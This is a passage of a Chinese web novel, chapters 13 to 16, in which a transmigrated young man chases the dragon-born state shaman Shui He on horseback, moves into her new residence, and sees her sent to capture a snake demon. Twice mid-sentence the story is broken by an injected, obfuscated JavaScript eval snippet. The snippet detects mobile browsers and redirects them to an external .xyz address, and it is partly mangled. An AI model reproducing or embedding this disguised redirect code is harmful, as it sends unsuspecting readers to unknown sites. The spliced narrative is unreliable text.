【管那么多做什么,现在在这个小说里,生命受到威胁的只有你一个外人,你要是死在了这里,可就永远都回不来了。】 “永远……”沈夷之喃喃自语。 他决定自私一些,先保全自己的性命再顾其他。 “水禾的车撵出发了没有?” 沈夷之从门槛上站起身,晌午的日光相比清晨强烈了一些,透过院内的枯枝缝隙洒在沈夷之的脸上,温暖却不刺眼。 【我看看……运送行李的最后一个车撵半小时前才启程,这里没有现代的代步工具,你只有骑马才能赶上他们。】 沈夷之沉默了一会儿,他看天,看地,又低头看了看自己羸弱的身体。 “不骑马可以吗?” 沈夷之问出这问题时连自己都觉得有些难以启齿,他倒是也想骑马去追,可他在现实世界里连见过马的次数都屈指可数。 沈翩翩哑然,闷不吭声地掐断了自己与沈夷之的联系,临走前还语重心长地留下了两个字:【保重。】 轻飘飘的落入沈夷之的耳中,怎么听怎么凉薄。 沈夷之欲哭无泪,只好抓紧时间向梅山宗的永巍长老借了匹快马,永巍长老并未问及他借马匹的缘由,十分爽快地为沈夷之牵来了一匹汗血宝马。 望着永巍扯着缰绳向他走来的身影,沈夷之竟头一回发觉原来妖兽也并非无所不能,永巍年轻时也是容国国巫,举手投足,风光无限,可而今竟也枯瘦成了这副模样,仿佛一阵寒风便能将他腐朽的枯骨给拂散。 沈夷之温和地对着永巍笑了笑,接过他手里的缰绳便头也不回地直奔赶往容国的马队而去。 原本沈夷之还以为初次骑马会给他留下不太美妙的回忆,可谁知永巍牵来的汗血宝马性情极其温顺,任沈夷之一个不懂骑马的人折腾着爬到马背上,那马儿却仍乖顺地站在原地。 骑马追赶了许久,沈夷之平生第一次骑这么久的马难免屁股疼,他正想下马休憩调整,却恍然发觉自己竟不知该如何让驰骋的马停下来。 坏事年年有,今天特别多。 13. 第 13 章 在马背上濒临崩溃的沈夷之立即想到了沈翩翩。 “快!快帮我查查怎么让马停下来!” 系统那头的沈翩翩收到指令,立即在网页上搜寻起有关马的静止训练,方法数不胜数,可心急如焚的沈夷之等不了沈翩翩择优的时间。 【方法那么多,我也不知道哪个管用啊!】 “随便选一个,死马当活马医了!”沈夷之在马背上颠得几欲干呕,他绷紧神经,一刻也不敢放松。 【找到了!哥,你先试试放慢马的速度,然后拉起缰绳,夹紧马的肚皮,将身体重心向后移。】 照沈翩翩说的做,那马儿果不其然放慢了速度,沈夷之松了一口气,握紧缰绳的手也放松了下来,手心隐隐传来火辣辣的痛,沈夷之翻开手心,却见手掌通红,被缰绳磨破的伤口不断渗出殷红的血。 好歹自己的一条命从马背上被解救下来,这点不痛不痒的小伤也无足轻重了。 方才由于过度惊慌,沈夷之松开了两侧的马镫,待马在辽阔无垠的雪地里停下来,沈夷之便用双脚摸索着重新去够马镫。 只是人倒霉极了了连喝水都是塞牙的。 沈夷之才够到一只脚的马镫,身旁枯树上倏地落下一滩厚厚的积雪,砸在地面上发出一声闷响,飞扬的雪花遮挡了马儿的视线,马儿受惊,高高扬起前蹄后一瞬间爆冲了出去。 “啊——” 无垠的雪原上,徒留沈夷之的哀嚎声。 沈夷之一只脚挂在马镫上,另一只脚却如何也寻不到马镫的位置,马儿跑得又快又急,沈夷之在颠簸之中身形渐渐无法保持平稳,竟从马背上翻身掉了下去。 可那一侧的马镫仍牵扯着沈夷之使他无法脱身,沈夷之便只能被那烈马拖着在林间横冲直撞。 穿过枯木林,沈夷之颠倒的视野内出现了一列华丽的车队,那车队望不到尽头,一直绵延到白茫茫的雪原深处。 “救命,救命啊!” 沈夷之顾不得颜面,对着远处那行车队大声呼救起来,祈求能有谁听到他的呼唤救他于水火。 水禾独自乘坐第一辆最为华丽的马车,宋暮则骑着马慢悠悠地走在车撵的一侧,寂寥的雪原静得可怕,除了马蹄踏雪的声音便再也听不到其他,水禾百无聊赖地翻阅着一本书籍,车撵内沉香屑的香气熏得她昏昏欲睡。 倏尔,一道尖利的惨叫声划破良久的宁静。 水禾猛然睁开双眼,隐约觉得这求救的声音似乎有些耳熟。 不会是沈夷之那厮偷偷跟来了吧,水禾心中一惊,忙不迭从铺着厚绒毯座位上爬了起来,她将头探出窗外,呼啸的北风将水禾的脸刮得生疼,四下望去却并未看到沈夷之的身影。 宋暮扯着缰绳靠近水禾的车撵,问她:“国巫大人,可有何不妥?” 水禾沉默了一会儿,兀自在白雪皑皑的荒原中瞭望,见宋暮的视线一直停留在她身上,才轻轻摇头,松手放下厚厚的帷子。 她和宋暮都是妖兽,况且水禾的灵力现下全部被紫玉镯禁锢,既然水禾方才能听到呼救声,宋暮理应也听到了才是。 水禾窝在马车一角,抚着因马车颠簸而有些散乱的碎发,她告诫自己,要远离任务以外的人。 妖兽能活千余载,那些微不足道的人于他们来说不过是漫长生命中一粒渺茫的沙。 可世事难料,水禾竟再次听到了沈夷之的惨叫声,伴随着达达的马蹄声,越来越近。 水禾用力掀开帷子,却见一匹与冰天雪地融为一体的白马正向车队冲来,再细看,那白马一侧的马镫上赫然挂着一个大活人——正是沈夷之。 水禾无奈地叹了声气,从马车上纵身跳下,直奔沈夷之而去。 宋暮一声令下,随行的车队便全部停了下来,宋暮将缰绳递给一旁的梅山宗弟子,自己转身踏雪追随水禾而去。 急促的马蹄声如疾风骤雨,重重地敲击在地面上,将沿途枯树枝桠上堆积的雪尽数震落,洋洋洒洒的倾泻而下。 水禾快速向白马移动的过程中,随手捡起一块碎石,看准时机便向那禁锢住沈夷之脚的马镫射去,细小的破风声擦着沈夷之的耳际划过,下一瞬,他脚上的紧绷感骤然消失。 他不受控制地向前滚去,眼看前方就要撞上坚硬的巨石,沈夷之立即紧闭上了双眼。 老实说,沈夷之接取苟命任务后曾不由自主地想过许多种死法,比如回到蜀南沈氏继承家主后在权贵中谨小慎微行事,最后在碌碌无为中死去;比如触怒水禾,按照小说原剧情那样死在她的手中。 但沈夷之却怎么也没想到,他最后的死法会是这般滑稽且仓促。 他紧紧闭上双眼,等待着想象中的死亡。 “我不是把梅山宗让给你了么,还追来做什么?” “呃?” 耳畔响起水禾淡漠的声音,沈夷之这才惊觉自己竟还安然无恙地存在于这世间。 他小心翼翼地睁开双眼,却望见水禾近在咫尺的下颌,沈夷之一瞬间有些失神,待回过神来,面前的人已然从湖蓝色的水禾变成了锦鲤红的宋暮。 热烈的红一如宋暮绝世无双的笑脸,虽惊艳,却叫人没由来地感到一阵心烦意乱。 沈夷之强撑着身子坐了起来,他抬手揉了揉眼睛,身上传来一股似有若无的香味,仔细辨别,正是水禾常日里房中燃的沉香屑味道。 原来方才那近在咫尺的距离并非是沈夷之的梦境。 “我问你,为何会出现在这里?” 沈夷之闻声转头,水禾正面无表情地望着他,她的眼眸宛如一汪深不见底的潭水,平静得没有一丝波澜。 “我来找你。” 劫后余生的心悸使沈夷之来不及思考,想说的话到了嘴边便一下倾泻而出。 水禾语噎,方才在温暖的车撵中捂得红润的面颊转而变白,沈夷之意识到水禾情绪的转变,忙开口为自己找补。 “我想通了,我要回沈家去,听说大人的新国巫府就在沈府对面,我便想着同国巫大人的车队一起回去。” 水禾并未接话,倒是一旁的宋暮往前一步,仿佛不解风情一般,嘴角轻扬,笑道:“沈公子这招出其不意,令宋某佩服。” “五长老不说话没人把你当哑巴。”沈夷之咬牙切齿。 二人一唱一和,使寒冷的空气都变得热闹起来,水禾搓了搓被冻得有些僵硬的手指,自顾自转身往马车走去。 没了水禾这个靠山,沈夷之生怕被宋暮这个妖兽生吞活剥了,眼看水禾远去,沈夷之拔腿就跑,三步并作两步,眨眼间就追上了水禾。 他眼皮活络,见水禾要上马车,忙伸手为她掀开帷帐,水禾迟疑了一瞬却也没有出声制止,微微弯腰钻进了车撵中。 沈夷之正要紧随其后登上马车,却被不知何时站在他身后的宋暮一把揪出了衣领,他缓声道:“沈公子,多有冒犯。”却不见手中揪衣领的动作有丝毫松懈。 宋暮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924990|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻松地将沈夷之从马车上拽了下来,身旁的梅山宗弟子凑上前来将手中的缰绳递给宋暮,宋暮却又将那缰绳转交给了沈夷之。 一条缰绳几经辗转,最后却又回到了梅山弟子的手上,那弟子惊诧地看着宋暮和沈夷之二人,却不知二人究竟是何意图。 “早就对沈公子高超的马术有所耳闻,不知今日可否有幸一见。”宋暮嘴角噙笑,沈夷之却看出他笑得不怀好意。 方才他才在众人面前出了天大的丑,宋暮此时却偏要欣赏他的马术,如果说宋暮不是有意羞辱,沈夷之是如何也不相信的。 按照原小说里的情节,沈夷之原本与梅山宗五长老宋暮也并未瓜葛,不过是容国举国祭祀当日与他有过一面之缘,如今却不知宋暮为何会对他抱有如此大的恶意。 莫非上了年岁的老妖兽都有爱捉弄人的习惯?沈夷之不得而知。 沈夷之不想与宋暮多费口舌,兀自清了清嗓子,扬声呼唤水禾:“国巫大人,我才受了擦伤,能不能到车撵里修养修养?” “进来吧。” 得到水禾的答复,沈夷之故意在宋暮脸前扬了扬下巴,笑得如沐春风,少年得意。 沈夷之大摇大摆地走向华丽的马车,忽而一团莹绿色的火团飘飘忽忽地直奔沈夷之而来,车撵中的水禾轻咳一声,宋暮回神,一拂袖收去了那团灵火。 一掀开帷幔,车撵内与外面白雪茫茫的雪原显然是两个温度,不仅温暖如春,还散发着一阵阵沉香屑的气味,清香却不冲鼻,沈夷之并不讨厌。 水禾往角落里挪了挪,给沈夷之腾出位置,见他在车撵内老老实实地坐好,水禾便又拿起书简继续看下去。 车队恢复正常,在宋暮的指挥下有条不紊地向容国国都驶近。 四周恢复一如既往的寂寥,安静得听不到一点声音,沈夷之想提醒水禾在行驶的马车内看书伤眼睛,但望了望水禾紧抿的嘴唇,想说的话又咽了回去。 狭小逼仄的空间内似乎能感受到彼此的体温,沈夷之渐渐感到意识变得有些朦胧。 他静静地凝望着水禾低头看书的侧颜,美好得宛如不食人间烟火的仙娥,想到这里,沈夷之微微摇头,水禾本就不是普通的人间女子,她是遨游于天际的蛟龙,是《化龙》中唯一一条真龙。 这样的女子,他穷尽几生才得以见到一次。 沈夷之单手撑脸,意识逐渐昏沉。 他看见水禾长长的羽睫似乎轻颤了一下,他看见水禾的嘴角似乎微微扬起,他看见水禾圆润宛若珍珠一般的耳垂上长着一颗朱红色的小痣…… 他看到水禾身穿水色的国巫官服,手中拿着把泛着紫光的长剑,长剑通体被血染得殷红,血珠沿着剑身滑落,在地面上留下一串痕迹,而后水禾手起剑落,一颗面貌酷似他的人头应声滚落。 “别杀我!” 沈夷之一声惊呼,引来车撵外宋暮带着戏谑的问候。 “沈公子,做噩梦了?” 沈夷之并未做出回应,他仍心悸得厉害,一只手抚在心口上轻拍,胸口大幅度的起伏,沈夷之感受到后背的衣衫已经被汗水濡湿。 确实如宋暮所说,沈夷之做了一个印象深刻的噩梦。 水禾放下手中的书简,抬头看过来,声音无喜也无悲:“快到容国城内了。” 沈夷之点点头,整理了一下身上的衣衫,重新盘腿坐好,水禾将视线移开,沈夷之便将双手合十,默默祈求他的梦永远都只是梦。 14. 第 14 章 长长的车队驶出雪原,车轮辘辘的声音在寂寥的天地间愈发明显。 沈夷之怕再陷入梦魇,便有一搭没一搭地跟水禾聊天,虽说问十句水禾才会回他一句,但相比于昨日水禾淡漠的态度,沈夷之已经心满意足了。 “宋长老那么有钱,新国巫府的家当应该早就置办好了才是,国巫大人把这些旧东西搬去新国巫府,劳民伤财不说,别院被国巫大人您搬得就只剩下承重墙了。” 水禾并未放下手中的书简,她懒懒地掀起眼皮看了沈夷之一眼,似乎连回答他的问题都十分不情愿。 过了半晌,就当沈夷之以为不会再有下文时,水禾才闷声道:“我来人间的日子不长,但国巫别院的东西我已经用惯了,再换也用不习惯。” 沈夷之意味深长地“哦”了一声,刻意拖长了尾音,惹得水禾甩来一记白眼。 “原来国巫大人是个恋旧的人。” 水禾被沈夷之的臭屁样子膈应得不轻,扔下书简便从车门一跃而出。 沈夷之惊慌失措,一手抓紧马车门框,另一手作势要去拉水禾。 看到水禾安然无恙坐在马背上挺直的身影,沈夷之才讪讪地把手放下去,他竟忘了,水禾到底和他不同。 水禾不堪其扰,便跳出马车与宋暮一前一后两匹马缓慢地前行。 望着她端坐着马背上的背影,如梅骨一般秀丽挺拔,迎着夕阳和寒风,她额角的碎发被轻轻掀起,鬼使神差地,沈夷之竟又想起了那两枚皎洁可爱的蛟角。 也不知何时才能再次见到那对萌物。 注意到沈夷之毫不遮掩的视线,水禾倏地有种说不上来的感觉,脑子里无端想起郡桃同她说起的——什么是喜欢。 水禾抬手抚摸心口,莫名地觉得此时此刻,她的怀里像是揣了一只怦怦乱跳的小兔。 或许是方才在狭小逼仄的马车内待了太久闷的,或许是翻身上马的大动作导致,又或许是对莫名威胁的心悸反应。 水禾觉得不能任由这种感觉继续下去。 她转过头,精准地对上沈夷之的目光,一只手松开缰绳举到面前握成拳头,威胁似地对着沈夷之晃了晃,似乎在说:再看就给你点颜色看看。 沈夷之吞咽了下口水,默默收回了视线。 天色渐晚,绵延的车队终于到达了容国国都的城门外,因有宋暮抒络打点,车队入城并没有想象中那样麻烦。 长长的车队穿过空荡荡的街道,溶溶月色倾泻而下,将车队的倒影拉得很长,淡蓝色丝绸包裹着马车,在银色的月华下宛若泛着波光。 幽幽的车铃声在缥缈的风声中回荡,伴随着一声轻吁,车队依次停在一座古朴的大宅门外。 沈夷之将帷幔掀开一角,“沈府”二字映入眼帘,沈夷之吓得不轻,连忙把帷幔合上又掖紧。 马车外传来宋暮风轻云淡的声音,“国巫大人,国巫新府到了。” 水禾应了一声,利落地翻身下马,她在国巫府前站定,将朱红大门看了又看。 宅邸看起来并不大,但住水禾一人和几个侍女小厮足以。水禾又仰头望了一眼头顶的匾额,空落落的,似乎是在等待着她这个新主人。 “多谢五长老,我很喜欢。” 宋暮轻轻笑起来,“往后宋某怕是要多来叨扰大人了。” 水禾抿紧了嘴唇,不知怎么的,听永巍和宋暮喊她大人,水禾总是没由来地感到不快。 她没有回应,只是暗自加快了步子。 随车队一齐而来的梅山宗弟子在宋暮的命令下忙碌起来,来来往往地往宅院中搬运物品。 水禾原本也想出一份力,可那些弟子对她避如蛇蝎,水禾又去向宋暮问询,可他早就把一切打点得当。 无聊至极的水禾只能站在月光下来回踱步,走着走着,却又忽而想起了什么。 原来是少了在耳边叽叽喳喳个没完的沈夷之。 车队入城后,水禾便不曾留意过沈夷之的动向,国巫府和沈府正是对门,想必是沈夷之自行回府了吧。 往后不必再和沈夷之打交道,她的生活也会恢复如往常。 夜里的温度比白日里低一些,骤然掀起一阵寒风,水禾缩了缩脖颈,拢紧了身上的兔毛莲蓬衣,这件莲蓬衣还是水禾进都城册封前清清山的兔姨送给她的,水禾对这件莲蓬衣爱不释手。 兔姨夏季掉毛掉得利害,她便把掉落的绒毛收集起来,待冬日千里冰封之时在做成手炉和棉衣送给清清山冷血的妖兽用以保暖。 水禾乘坐的马车里还搁着清清山的妖兽朋友们送给她的许多宝贝,都放在一个红木箱子里。 才一掀开水蓝色的帷幔,却见沈夷之坐在方才水禾待过的位置,手里捧着水禾赶路中一直看的书简,一头束发被他揉得凌乱,正左摇右晃地打瞌睡。 “你怎么还在这里?” 水禾夺过沈夷之手中的书简,兀自塞进自己宽大的阔袖里。 沈夷之猛然间从瞌睡中惊醒,他拧紧眉头,看清了来者是水禾后忙转怒为笑。 他不肯回到沈府去,便在水禾面前故意装糊涂,反问她:“我是国巫大人的人,不紧跟着国巫大人该在哪里?” 水禾懒得同沈夷之贫嘴,将一直手握成拳头状攥得咯吱吱的响,沈夷之面色一白,忙翻身坐起来。 “国巫大人求求您了,天色这么晚,我要是现在回到沈府该惊动一府的人,指不定会闹腾到什么时候,我挨罚事小,国巫大人舟车劳顿,打扰国巫大人休息事大啊。” 他匍匐在雪白的绒毯上,见水禾不为所动,又伸出手抓着水禾的衣袖轻轻摇晃起来,搭配上他何其无辜的狗狗眼,水禾很难对他说不。 又是这样,一次又一次,水禾总是对沈夷之心慈手软。 水禾淡漠地对沈夷之点点头,抱着红木箱转身就走,她心里暗自想着:左不过是她和沈夷之最后的交集,往后沈夷之也不会再有乞求她的机会了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924991|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈夷之蹑手蹑脚跳出马车,做贼似地三步一回头观察沈府紧闭的大门。 梅山宗弟子们手脚利落,不一会儿便将马车上的所有物什搬空,又按照宋暮的指示一一摆放在水禾指定的位置。 约莫不过子时,宋暮打道回府,梅山宗弟子返程,偌大的国巫府一忽儿只剩下水禾和沈夷之两人,寂寥得有些可怕。 沈夷之小声嘀咕:“赶明儿该雇两个保姆来照顾你的起居,不然新国巫府那么大我一个也忙不过来。” “谁需要你照顾,回你的蜀南沈氏去。” 沈夷之识相地闭嘴,挪步进了卧房。 水禾忙着整理清清山朋友的宝贝,并未察觉到沈夷之自顾自忙碌的身影,待水禾拖着疲惫的身子回到卧房时,被褥铺得干净整洁,房里点着她往日最爱的沉香屑熏香。 见水禾进来,沈夷之又眼疾手快地递给她一杯温热的清茶。 不凉也不烫,恰好是最适合入口的温度,水禾感到有些无所适从,沉默地接下了瓷杯,看着沈夷之欲言又止。 “床前放了洗脚盆,水温可能有些烫,你注意着点,我就先走了。”沈夷之说罢便退出了卧房,新国巫府有许多房间,他不必再像梅山宗那样在偏堂打地铺。 水禾望着沈夷之挺拔的背影消失在拐角的珠帘后,张了张嘴却又什么都没说。 夜凉如水,水禾抱着汤婆子睡得并不安心,隔着淡青色的床幔,她仿佛能看到沈夷之像之前一样在地铺上翻来覆去的身影。 猛然将被褥高高掀起盖过头顶,水禾不许自己再乱想。 翌日,水禾难得睡到日上三竿,因宋暮帮她找了个由头向王上请假,今日水禾不必再在去朝堂上看权臣老头儿们的脸色。 沈夷之似乎听到水禾翻身的细小动静,开口唤她起床用午膳。 “庆祝国巫大人乔迁之喜,午饭我做得丰盛了些。” 听到再熟悉不过的声音,水禾不耐地“啧”了一声,她将绸被蹬得乱七八糟,几乎是用撒娇一般的语气,“你怎么还赖在这里?” 沈夷之讪笑着揉了揉鼻子,推脱道:“吃罢饭就走。” “你最好是。” 趿拉着鞋子匆忙洗漱完毕,水禾懒懒地坐在饭桌前,看着沈夷之有条不紊地上菜。 沈夷之每端出一道,便要报上一句菜名,等上完了全部的八道菜,饭桌上已经摆得满满当当,再没有空余的位置。 水禾从来不会和好吃的过不去。 她埋头大快朵颐,沈夷之却像个老母亲一样不停地为水禾布菜,而沈夷之似乎也拿捏了水禾这一点,只要沈夷之在这个时候不做出格的事情,用膳的时间便就是水禾一天之内脾气最好的时候。 沈夷之微微笑起来,眼里映着水禾大口吃饭的模样。 要沈夷之说,水禾应当是个做吃播博主的好苗子,她吃饭的样子总是令人觉得胃口大开,但怕水禾再用看智障的眼神看他,沈夷之强忍着没有说出口。 15. 第 15 章 饭是午时一刻吃的,圣旨是午时三刻到的。 “近来妖兽频现,为祸一方,武威湖石门村一蛇妖现身,百姓惶恐,现命宋太史协助国巫除却妖兽,护佑容国百姓。” 内臣缓缓收起圣旨,居高临下地用鼻孔睥睨着跪伏在地的水禾和沈夷之,水禾毕恭毕敬地接下圣旨,丝帛轻薄且柔滑,但拿在手中却仿佛重若千斤。 这是水禾成为容国国巫后王上交给她办的第一件事,却是要她亲手捉拿同族妖兽。 册封大典之时宋暮助她隐瞒身份,可众臣谁人不知那不过是个再拙劣不过的幌子,现如今王上下旨要她捉拿同族,水禾一时犯了难。 内臣大摇大摆地走出国巫府,水禾顿时如释重负。 水禾的面部表情虽一如既往的淡漠,但沈夷之却能看出此时她的脸色有些不太好。 “国巫大人,你那么厉害,那什么蛇妖你肯定三拳两脚就能打倒了。” 水禾看了沈夷之一眼,沉默不语,沈夷之自讨没趣,默默地退回到饭桌上。 接下圣旨后,水禾便再也没了吃饭的兴致,她恹恹地拿着那道圣旨,一言不发地出了门,沈夷之欲言又止,犹豫再三却没有继续跟过去。 寒冬腊月,天气愈发寒冷,院里的几棵红梅开得更盛,隐隐地泛着幽香。 沈夷之一整个下午都坐在院子里发呆,他无家可归,无处可去,只能围着水禾一个人团团转。 腊月天色晚得早,约莫酉时天边便拉下了黑幕。 沈夷之知道水禾畏寒,怕她随时都有可能回来,便捧着个手炉坐在廊坊中等她,手炉冷了再热,热后又冷,如此反复。 听门外传来几声幽远的车铃,伴着簌簌的寒风声,沈夷之忙不迭站起身相迎。 只是沈夷之脸上的笑才维持了没一会儿,在看到水禾身后的人影时却骤然消失了,沈夷之在原地站定,望着水禾的不苟言笑的脸迟疑地开了口。 “国巫大人?” 水禾看到沈夷之时却明显身形一滞,她微微歪头,反问沈夷之:“你不是回沈府了么?” 沈夷之却装作没听到一般,自顾自上前一步将手炉塞进水禾手里,反倒对宋暮明知故问:“宋长老夜半到访国巫府,是有什么重要的事?” 宋暮微微笑起来,说话时却并不看着沈夷之。 “宋暮自然是有要事相商,倒是沈公子,身有婚约却……”宋暮把话只说到一半,剩下未说出的内容留给沈夷之自己意会。 老实说,宋暮的话对沈夷之半点杀伤力都没有,有婚约的是小说里的炮灰男配沈夷之,又不是他这个青春男大沈夷之,就算他不履行婚约,名誉受损的也只是那个与他毫无关系的蜀南沈氏。 沈夷之撇嘴,不动声色地迈步站在水禾身后。 水禾并未留意到沈夷之和宋暮之间似有若无的火药味,外头天寒地冻,她的手指早就冻得毫无知觉,她是个冷血动物,捧着沈夷之递过来的手炉捂了一会儿才恢复了些常人该有的温度。 水禾耐不得冻,不再理会身后的二人便自顾自快步走进了屋子。 “宋暮。” 宋暮闻声便移开了和沈夷之对峙的视线,款步跟上水禾,徒留沈夷之一人站在红梅中,气呼呼地叉着腰。 沈夷之不想宋暮和水禾独处,正要也跟上去,却一头撞上了看不见的空气墙上。 “砰”地一声,痛得沈夷之抱头痛呼。 “天杀的,肯定是宋暮那小子伺机报复!” 沈夷之不满宋暮的恶劣行径,伸手在虚无的空气屏障上砸了两拳,果不其然,沈夷之砸下去的部分泛着莹莹的红色光芒,正是妖兽的灵力所为。 沈夷之向来不把今天受的气委屈到明天,他把屏障拍打得“砰砰”响,大声斥责宋暮:“宋暮你个小心眼的,我再也不叫你长老了!” “你且消停会儿。” 屏障内传来水禾毫无情绪的声音,沈夷之缩了缩脖子,把所有想说的编排宋暮的话都咽回了肚子里。 熠熠烛火结出灯花,屋内的窗子没关,呼啸的寒风从窗子一股脑儿灌进来,屋内的烛火顷刻间熄灭,珠帘被吹拂得相互碰撞,发出珠玉碎响。 宋暮轻轻一弹指,那烛火却应声再次被点亮。 水禾默默地看着宋暮指尖跳跃的火花,心中满是艳羡,若是她不曾被紫玉镯拘住灵力,也不必像现在这般受制于人。 宋暮留意到水禾不加遮掩的目光,甩了甩手指熄灭了灵火,他嘴角轻扬,开门见山:“圣旨已接,便按照圣旨行事,你我不必顾虑太多。” “可那毕竟是你我的同族。” “同族亦何如,天下是容国的天下,即便是你我的同族也不可肆意妄为,何况被害的百姓何其无辜。” 宋暮语气坚定,这也是水禾自认识宋暮后第一次见他敛起熟稔的笑意。 水禾知道事情再没有回旋的余地,她是一国之巫,以身佑国就是她的使命。 “好。”水禾妥协,她藏在阔袖中的双手交叠在一起,淡淡道:“那我们明日便启程。” 宋暮点点头,他神色奇怪,忽而降低了音量。 “国巫大人可知这武威湖由来?” 水禾一怔,轻轻摇了摇头,她自幼在清清山长大,对容国的地形并不熟悉,对宋暮口中的武威湖也是闻所未闻。 “那可知未名海?” 提到未名海,水禾难得瞪大了双眼,这片广袤无垠的海域有水禾太多太多的回忆,未名海的名字早就镌刻进了水禾的记忆里。 水禾魂牵梦萦的清清山正是被这片未名海域所包围,而蛟龙一族正是自海域中诞生,在清清山成长。 宋暮接连提起武威湖和未名海,水禾不难猜出这二者之间存在着什么必要的关联。 宋暮继续道:“武威湖是容国举国上下唯一一个人工湖,朝廷耗费了巨大的财力和人力不远万里从未名海运输海水填入武威湖,如今这武威湖中流淌的是未名海的海水。” 水 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天边乍亮,水禾一大早便起床收拾,因捉拿蛇妖免不得发生争斗,水禾便特意换掉了阔袖长袍,穿了一身鹅黄色短夹袄,既保暖又不耽误做大动作。 原本水禾并不知此行要去多久,但考虑到有宋暮那么个实力高深莫测的妖兽伴在身侧,水禾料想宋暮定然会速战速决,便轻装上阵骑上马直奔城门。 赶到时,将将好是与宋暮约定的时刻。 水禾骑着马,远远地便望见了宋暮长身鹤立,白衣如雪的身影,这是水禾自认识宋暮以来第一次见他穿这样清淡的颜色。 待离得近了,宋暮也发现了水禾的身影,一如既往地对她莞尔一笑,道:“国巫大人穿黄色很好看。” 水禾哑然,一时不知该如何接话,愣了半晌才支支吾吾地开口:“你……也是。” 两人骑马并肩而立,一拉缰绳,马蹄高高扬起,长长的马尾在空中划过一道弧线,马蹄达达,直奔武威湖。 路途并不遥远,灰暗的天空毫无征兆地飘起了盐粒般的小雪,水禾握着缰绳的双手冻得惨白,同时几乎失去了所有的知觉。 莫名地,水禾的脑子里竟不自觉地浮现出沈夷之的面容,她想,若是沈夷之在的话,他定然会想方设法帮她驱寒。 虽然水禾并不明白沈夷之无事献殷勤的真正目的,但渐渐的,水禾却习惯了沈夷之体贴入微的照顾。 但妖兽诞生于天地,注定此生都孑然一身。 水禾轻轻抖落了莲蓬衣上的雪花,眸中的情绪一番转换,再抬头目视前方时,眼中多了几分毅然。 还未看到石门村,妖兽的气息却自前方蔓延而来。 远处可见巨大的湖泊表面已经结了一层薄薄的冰,霜雪落在上面,洒下一片银白,接着便望见几座稀稀落落的茅草屋,看起来并不能被称之为一个村落。 这就是石门村了。 水禾翻身下马,为了方便等会儿无法避免的一架,水禾当即把袖子挽高了两分。 16. 第 16 章 石门村与世隔绝,常年不见外乡人的身影,但对于水禾和宋暮两个外来人的到来,石门村村民并未表现出与往常任何不同—— 家家户户房门紧闭。 初出清清山的水禾并不擅长与人交谈,显然宋暮也明确地知道这一点,还不待水禾有所动作,宋暮先行一步走到了最近的一户人家门外。 他轻轻叩响斑驳的木门,声音里带笑。 “请问有人在家吗?” 吱呀—— 年久失修的木门发出腐朽的声音,门被从内往外推开一道缝隙,屋内漆黑无光,但宋暮是妖兽,视力极佳,因此当门被推开的刹那宋暮便与门后那双黝黑四目相对了。 那是一双饱含恐惧的双眼,瞳仁剧烈颤抖,流露出水禾并不能看懂的情绪,与宋暮对视的瞬间,那双眼睛的主人便惧怕地要把门从内锁上。 宋暮眼疾手快,伸出一只脚抵住门缝,他又笑得更加柔和,尽力安抚门内的人,“别怕,我们是容王派来捉拿妖兽的人。” 听宋暮这么说,门内的人半信半疑将宋暮上下打量了一遍,察觉到宋暮身后还有另外一人的身影,她的呼吸忽而急促了一下。 面无表情的水禾原本正站在宋暮身后神游四海,倏地却被宋暮拎到了木门前,还未有所反应,宋暮接着道:“这位正是当朝国巫大人,也是奉命前来为你们除却蛇妖的。” 谁知门内的人却发出一声不屑的嗤笑,“呸!历代国巫皆是妖兽,她与那蛇妖是一丘之貉。” 水禾闻言,挽了袖子上前一步就要把她打服。 平日里在梅山宗受人族梅山弟子的横眉冷对便罢了,没想到就连帮这些刁民捉拿蛇妖也要受到这样的侮辱。 宋暮正要阻拦,可水禾到底是司岳亲手教出来的,水禾要想出手,又岂是宋暮一人能拦住的。 在清清山时,司岳对水禾要求极高,因此水禾不仅是灵力精纯强大,就连一丁点灵力不用,单靠体术水禾也能和清清山最强悍的白虎叔打得有来有回。 “轰”地一声巨响,漏风的木门被水禾一拳砸成粉末,飞扬的木屑中,一个碧玉年华的布衣女子坐在地上目瞪口呆。 “国巫大人!” 宋暮清亮的声音惊慌失措中变了个调,以至于有些破音。 水禾满不在乎地转了转拳头,淡漠道:“是她先说我的。” “可她是普通人族。” “人族就能高高在上地蔑视妖兽?” 宋暮轻叹一声,“我不是这个意思。” 水禾不愿再和宋暮纠缠,愤愤地转过身去,步子直奔二人方才栓马的地方,宋暮以为水禾是耍小孩心性撂挑子不干,抬脚正要追上去,却见水禾蓦地蹲在了马匹一旁。 她扭过头一脸漠然地看了宋暮一眼,而后一脚把面前的碎石踢出去很远。 不苟言笑的国巫大人,似乎是生气了。 宋暮忽然有些想笑,但怕招惹国巫大人不快,只好稍作收敛,重新将视线放到面前的布衣女子身上。 “姑娘有所不知,新任国巫不过是个再普通不过的人,并非妖兽。” 说实话,宋暮说出这话时连他自己都觉得不可信,一个再普通不过的凡人,却能一拳把木门轰得粉碎,任谁也不会相信。 宋暮偏头想了想,为了使自己的话更有信服力,便又开口补充了句:“只是国巫大人自幼习武,天生蛮力而已。” 那女子跪坐在地,粗布麻衣上布满青绿色的木屑,她一动不动地望着水禾的背影,一副泫然欲泣的样子。 